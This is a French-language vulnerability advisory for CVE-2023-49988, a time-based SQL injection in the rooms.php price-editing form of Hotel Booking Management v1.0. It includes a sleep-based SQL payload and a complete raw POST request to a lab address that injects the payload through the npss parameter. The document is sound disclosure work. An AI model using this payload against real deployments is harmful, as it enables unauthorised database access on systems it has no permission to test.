
Hotel Booking Management v1.0 - Vulnérabilité d'injection SQL dans le paramètre "npss" au niveau de rooms.php
Description : Une vulnérabilité d'injection SQL existe dans la version 1 de Hotel Booking Management. Un attaquant malveillant peut exécuter des commandes SQL sur la base de données MySQL lors de la modification des prix et des remises des options d'hébergement via les paramètres vulnérables npss, dpss, npsd, dpsd, npds, dpds, npdd, dpdd, npdst ou dpdst.
Version du produit vulnérable : Hotel Booking Management v1.0
Auteur du CVE : Geraldo Alcântara
Date : 28/11/2023
Confirmé le : 19/12/2023
CVE : CVE-2023-49988
Testé sur : Windows
Pour exploiter cette vulnérabilité, un attaquant peut se rendre sur /HotelBookingManagement-main/rooms.php. En injectant une charge utile SQL dans des paramètres tels que npss, dpss, npsd, dpsd, npds, dpds, npdd, dpdd, npdst ou dpdst lors de la modification des prix et des remises des options d'hébergement, l'attaquant peut compromettre le système. Charge utile : (select*from(select(sleep(5)))a)
POST /HotelBookingManagement-main/rooms.php HTTP/1.1
Host: 192.168.68.148
Content-Length: 127
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://192.168.68.148
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.6045.159 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://192.168.68.148/HotelBookingManagement-main/rooms.php
Accept-Encoding: gzip, deflate, br
Accept-Language: pt-BR,pt;q=0.9,en-US;q=0.8,en;q=0.7
Cookie: PHPSESSID=aih2rvevdrpegiqt8nlstav7am
Connection: close
npss=(select*from(select(sleep(5)))a)&dpss=2&npsd=800&dpsd=2&npds=1100&dpds=3&npdd=1500&dpdd=4&npdst=2000&dpdst=13&updateRooms=
Découvreur(s)/Crédits : Geraldo Alcântara